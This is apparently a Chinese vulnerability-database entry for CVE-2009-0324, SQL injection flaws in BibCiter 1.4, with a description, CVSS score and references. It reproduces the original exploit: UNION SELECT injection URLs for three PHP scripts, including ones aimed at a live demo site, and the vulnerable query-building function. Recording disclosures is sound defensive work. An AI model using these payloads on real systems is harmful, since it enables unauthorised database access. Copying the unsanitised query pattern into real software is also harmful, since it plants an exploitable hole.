https://www.exploit-db.com/exploits/7814
https://cxsecurity.com/issue/WLB-2009010243
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-420
BibCiter 多个SQL注入漏洞






漏洞ID | 1117251 | 漏洞类型 | SQL注入 |
发布时间 | 2009-01-16 | 更新时间 | 2009-01-29 |
![]() |
CVE-2009-0324 | ![]() |
CNNVD-200901-420 |
漏洞平台 | PHP | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
BibCiter1.4版本存在多个SQL注入漏洞。远程攻击者可以借助(1)对reports/projects.php的id参数,(2)对reports/contacts.php的id参数和(3)对reports/users.php的idu参数,执行任意的SQL指令。
|漏洞EXP
#BibCiter 1.4 Multiple SQL Injection Vulnerability
#Author: nuclear
#site:
http://bibciter.sourceforge.net/
#vuln:
http://localhost/[path]/projects.php?idp=-721) UNION SELECT @@version%23
http://localhost/[path]/contacts.php?idc=-1) UNION SELECT @@version%23
http://localhost/[path]/users.php?idu=-1) UNION SELECT @@version%23
#demo:
http://bibciter.net/demo/reports/projects.php?idp=-721)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/contacts.php?idc=-1)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/users.php?idu=-1)%20UNION%20SELECT%20@@version%23
#notes:
watch the title for your query results ^^
#description:
vulnerable function:
function get_vatitle($idregister,$idregistervalue,$nameregister,$tableregister,$pretitle) {
$vartitle = "SELECT $nameregister FROM $tableregister WHERE ($idregister=$idregistervalue)";
$vartitle = mysql_query($vartitle) or die("error functions_queries line 4");
$vartitle = mysql_fetch_array($vartitle);
extract($vartitle);
$title = $pretitle." » ".$$nameregister;
return $title;
}
called in these files:
projects.php;contacts.php;users.php;types_authors.php;bibliographies.php;types_projects.php;
types_languages.php;types_countries.php;
#Special Greets to my bro Mi4night.. ur always the best
#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar
# milw0rm.com [2009-01-16]
|参考资料
来源:XF
名称:bibciter-projects-sql-injection(48080)
链接:http://xforce.iss.net/xforce/xfdb/48080
来源:BID
名称:33329
链接:http://www.securityfocus.com/bid/33329
来源:MILW0RM
名称:7814
链接:http://www.milw0rm.com/exploits/7814
来源:SECUNIA
名称:33555
链接:http://secunia.com/advisories/33555
来源:bibciter.sourceforge.net
链接:http://bibciter.sourceforge.net/?p=35
检索漏洞
开始时间
结束时间